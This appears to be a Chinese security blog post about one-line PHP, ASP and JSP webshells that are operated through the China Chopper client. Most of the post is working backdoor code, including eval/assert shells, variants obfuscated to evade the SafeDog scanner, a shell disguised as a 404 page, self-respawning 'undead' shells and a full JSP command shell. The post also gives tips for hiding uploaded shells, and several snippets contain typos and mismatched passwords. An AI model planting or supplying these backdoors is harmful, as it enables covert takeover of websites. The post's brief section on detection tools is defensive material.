一句话木马

About WebShell


WebShell

关于webshell在这里做一个简单的讲解,就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。通过这个后门,可以使用特定工具(比如:菜刀)连接,然后执行各种命令以及查看网站的各类信息。我主修php(虽然学的不咋地),所以写php的较多,毕竟php是世界上最美的语言嘛~~~

0x01 原理

webshell的本质,其实就是利用了脚本语言(php,asp,jsp等)的特定函数(代码执行函数,系统命令执行函数),通过向这些函数传递参数,就可以实现对网站的操作,即所谓的getshell。
例如:

<?php @eval($_POST['aa']);?>

php的eval函数,执行代码,典型的一句话木马。

0x02 WebShell demo

  • php:
  1. 最基础的
    <?php @eval($_POST['aa'])?>
    菜刀连接:http://www.xxxx.com/1.php
    密码:aa
  2. 进阶版
    <?php 
     $POST['POST']='assert';
     $array[]=$POST;
     $array[0]['POST']($_POST['aa']);
    ?>
    菜刀连接:http://www.xxxx.com/2.php
    密码:aa
  3. 去掉敏感函数(避免webshell查杀)
    <?php ($_=@$_GET[2]).@$_($_POST['aa'])?>
    菜刀连接:http://www.xxxx.com/3.php?2=assert
    密码:aa
  4. 避开关键字
    <?php  
    ($rcoil = $_POST['rcoil']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($rcoil)', 'add');
    ?>
    菜刀连接:http://www.xxxx.com/4.php
    密码:rocil
  5. 把eval封装在函数里,避开狗的查杀
    <?php
    funktion 我是函数(){
     $a='eval';
     return $a;
    }  
    $b=我是函数();
    $b($_POST('aa'));
    ?>
    函数名称可以自定义,无所谓的,这样可以过狗(下个小节解释何为过狗)

菜刀连接:http://www.xxxx.com/5.php
密码:aa

  1. 变量覆盖
    <?php foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}};assert($a);?>
    变量覆盖,$$a

菜刀连接:http://www.xxxx.com/6.php
密码:a
7.回调函数

<?php
    error_reporting(0);
    $e=$_REQUEST['e'];
    $arr=array($_POST['aa'],);
    array_filter($arr,base64_decode($e));
?>

菜刀连接:http://www.xxxx.com/7.php?e=YXNzZXJ0
密码:aa

这是大佬的解析:回调后门

  1. 骚操作,避开关键字
    <?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
    访问:http://www.xxxx.com/8.php
    post数据:0=assert&1=phpinfo();

菜刀连接:http://www.xxxx.com/8.php
密码:1

<?php   
$_="";   
$_[+""]='';   
$_="$_"."";   
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");   
?>   

菜刀连接:http://www.xxxx.com/8.php?_=assert&__=eval($_POST['pass'])
密码:pass

  1. 避开<?php
<script language="php">@eval_r($_POST[sb])</script> 

菜刀连接:http://www.xxxx.com/9.php
密码:sb

  1. 404马
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

菜刀连接:http://www.xxxx.com/404.php
密码:error

  1. 内存马
<?php
ignore_user_abort(true);
ini_set('maxdb_execution_time', 0);
while (true) {
    if(!file_exists('demo.php')){
        $a="<?php @eval("."$"."_POST"."[tese])?>";
        file_put_contents('demo.php',$a);
        file_put_contents('demo', base64_decode());
    }
}
?>

上传这个php文件,访问/demo.php

菜刀连接:http://www.xxxx.com/demo.php
密码:tase

  1. linux截断马
<?php
$webpath = dirname(__FILE__)."/";
$a="<?php @eval("."$"."_POST"."[rcoil]);?>";
file_put_contents($webpath ."test.jpg".chr(9).".php", $a);
?>  //test.jpg%09.php

上传这个文件,访问/test.jpg%09.php
菜刀连接:http://www.xxxx.com/test.jpg%09.php
密码:rocil

  1. 不死马(这个才是最骚的)
<?php
@unlink($_SERVER['SCRIPT_FILENAME']); //删除自身
error_reporting(0); //禁用错误报告
ignore_user_abort(true); //忽略与用户的断开,用户浏览器断开后继续执行
set_time_limit(0); //执行不超时

$js = 'unlock.txt'; //用来判断是否终止执行锁定(解锁)的文件标记
$mb = 'error_reporting.php'; //要锁定的文件路径
$rn = 'error_reporting.txt'; //要锁定的内容
$nr = file_get_contents($rn); //从文件中读取要锁定的内容
@unlink($rn); //删除“要锁定的文件内容”,不留痕迹

//创建一个后台执行的死循环
while (1==1) {
    //先判断是否需要解除锁定,防止后台死循环造成各种冲突
    if (file_exists($js)) {
        @unlink($js); //删除解锁文件
        exit(); //终止程序
    }
    else {
        @unlink($mb); //先删除目标文件
        chmod($mb, 0777);  //设置属性
        @unlink($mb); //先删除目标文件
        file_put_contents($mb, $nr); //锁定内容 //$fk = fopen($mb, w); fwrite($fk, $nr); fclose($fk);
        chmod($mb, 0444);  //设置属性
        usleep(1000000); //等待1秒
    }
};
?>

这个,有待开发……

一般不死马多用于CTF线下攻防赛,有大佬已经写好了利用脚本:
AWD攻防赛webshell批量利用框架

  • asp:
  1. 最基础的
    <%eval request("aa")%>
    菜刀连接:http://www.xxxx.com/1.asp
    密码:aa
  2. 进阶版
    <% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>
    菜刀连接:http://www.xxxx.com/2.asp?a=)0(tseuqer%20lave
    密码:0
  • jsp:
    讲真,jsp的马我没怎么用过,大致粘贴上吧,博客最后附带上各位大佬的总结以及webshell的资源
  1. <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%><%!String Pwd="rcoil";String EC(String s,String c)throws Exception{return s;}Connection GC(String s)throws Exception{String[]x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim())}return c}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n)}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close()}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0;i"+"|");if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb)}}else if(Z.equals("B")){BB(z1,sb)}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n")}br.close()}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1")}else if(Z.equals("E")){EE(z1);sb.append("1")}else if(Z.equals("F")){FF(z1,response)}else if(Z.equals("G")){GG(z1,z2);sb.append("1")}else if(Z.equals("H")){HH(z1,z2);sb.append("1")}else if(Z.equals("I")){II(z1,z2);sb.append("1")}else if(Z.equals("J")){JJ(z1);sb.append("1")}else if(Z.equals("K")){KK(z1,z2);sb.append("1")}else if(Z.equals("L")){LL(z1,z2);sb.append("1")}else if(Z.equals("M")){String[]c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb)}else if(Z.equals("N")){NN(z1,sb)}else if(Z.equals("O")){OO(z1,sb)}else if(Z.equals("P")){PP(z1,sb)}else if(Z.equals("Q")){QQ(cs,z1,z2,sb)}}catch(Exception e){sb.append("ERROR"+":// "+e.toString())}sb.append("|"+"<-");out.print(sb.toString());%>
    

``` 说实话,我还没有参透怎么用。

0x03 过狗

在安全里面,狗通常指的都是安全狗,是一款服务器安全防护软件,现在基本上都指那些带有过滤或者有防火墙的服务器。所谓过狗,就是绕过那些安全协议或者是过滤规则,使木马生效。一般查杀webshell,一般就是检测shell的内容,是否有代码执行函数或者是存在命令执行,都有一些特定的规则,针对常见的webshell都可以有效的防范,比如上个小节的第一个php一句话木马,会直接检测出来。当然,后续的衍生版本,几乎很难被检测,这就是所谓的过狗一句话。

上面的demo后面几个基本上都有过狗的功能,主要还是看网站的狗是不是好狗了。

0x04 利用

一般一句话木马的利用方式都是用菜刀进行连接,中国菜刀的使用方法这里就不做赘述了,我放上几个版本的菜刀链接(如果有360或者是类似的安全软件,会报有毒,其实没啥事儿)

中国菜刀

另外就是已经停更的中国蚁剑,类似于菜刀,也很方便。

中国蚁剑

木马上传成功,可以使用工具连接,那么基本上就可以操作整个网站了,至于服务器,就看自己的本事了。

0x04 查杀

通常都会利用现成的工具或者是脚本对整站进行查杀,以免漏网之鱼的出现。

Linux下webshell查杀工具:MaskFindShell

Windows下webshell查杀工具:D盾

在线查杀webshell:WEBDIR(这个我没有用过,反正你看着办吧)

0x05 小结

一句话木马,很强大也很好用,本篇只用作教学,其他非法用途与本文无关,请勿用于非法用途,否则后果自负。

一句话木马通常要面临的问题就是免杀,无非就是混淆扫描器视听:

  1. 在固定区域生成随机名称变量,后借助str_replace拼合base64_decode,执行命令的过程
  2. 修改文件时间
  3. 改名融入上传后所在文件夹,让人无法直观看出文件异常
  4. 文件大小的伪装处理(至少看起大小像个正常脚本)
  5. 选好藏身路径并尽量少的访问
  6. 畸形目录%20

除这些需要辅助工具进行连接的一句话木马外,也有各类脚本语言的大马,直接在网页进行操作,也是十分方便,由于时间问题,今天只说这些小马。文章末尾会附带webshell合集以及我借鉴的大佬博客,请大家合理使用。

php一句话木马合集
php一句话后门
神奇的一句话后门溯源
php回调后门
webshell合集


另:这篇写完已经凌晨3点了,最近身体不适,有不对的地方还望大佬指出,我及时修改,见谅见谅。
吐血中……


Reprint please specify: wh1te 一句话木马

Previous
SQL注入之宽字节注入 SQL注入之宽字节注入
About SQL Injection 宽字节注入0x01 前言对于SQL注入,我估计搞安全的都玩的滚瓜烂熟了,搞站什么的都是分分钟来的,但是之前做了一道宽字节注入的题目,又打开了我一扇通往新世界的大门(PS:早都碰到过,只不过一直没有
2018-07-24
Next
灾后重建 灾后重建
About MySelf 说实话,点太背了。 电脑前几天出问题了,硬盘坏了,数据清空,我这心里,阴影面积无限大。 换了新电脑,emmmm…… 重整旗鼓,从头开始。
2018-07-19
TOC